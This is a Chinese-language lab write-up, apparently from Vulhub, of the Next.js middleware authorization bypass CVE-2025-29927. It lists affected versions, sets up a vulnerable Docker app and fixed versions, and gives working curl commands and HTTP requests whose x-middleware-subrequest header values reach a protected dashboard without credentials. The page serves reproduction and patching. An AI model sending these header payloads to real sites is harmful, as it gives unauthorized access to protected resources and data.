Skip to content

Next.js 中间件鉴权绕过漏洞 CVE-2025-29927

漏洞描述

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

参考链接:

漏洞影响

Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9

环境搭建

Vulhub 执行以下命令启动一个基于 Next.js 15.2.2 的存在漏洞的应用:

docker compose up -d

应用启动后,访问 http://your-ip:3000 会被重定向到登录页面。输入默认凭据 admin:password,你可以登录成功并访问仪表盘。

漏洞复现

如果在没有合法凭据的情况下直接访问仪表盘,将会被重定向到登录页面:

curl -i http://your-ip:3000
GET / HTTP/1.1
Host: your-ip:3000
Cookie: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
Accept-Encoding: gzip, deflate

要利用此漏洞,可以在请求中添加 x-middleware-subrequest 请求头,其值为 middleware:middleware:middleware:middleware:middleware。Next.js 中间件会错误地处理此请求头并绕过身份验证检查:

curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://your-ip:3000
GET / HTTP/1.1
Host: your-ip:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
Accept-Encoding: gzip, deflate
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

可见,没有传入任何身份认证信息即可成功访问到仪表盘。

如果上述 payload 不起作用,可以尝试:

shell
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

漏洞修复

已修复版本:

  • 对于 Next.js 15.x 版本,此问题已在 15.2.3 中修复
  • 对于 Next.js 14.x 版本,此问题已在 14.2.25 中修复
  • 对于 Next.js 13.x 版本,此问题已在 13.5.9 中修复
  • 对于 Next.js 12.x,此问题已在 12.3.5 中修复

如果修补到安全版本不可行,建议阻止包含 x-middleware-subrequest 头的外部用户请求。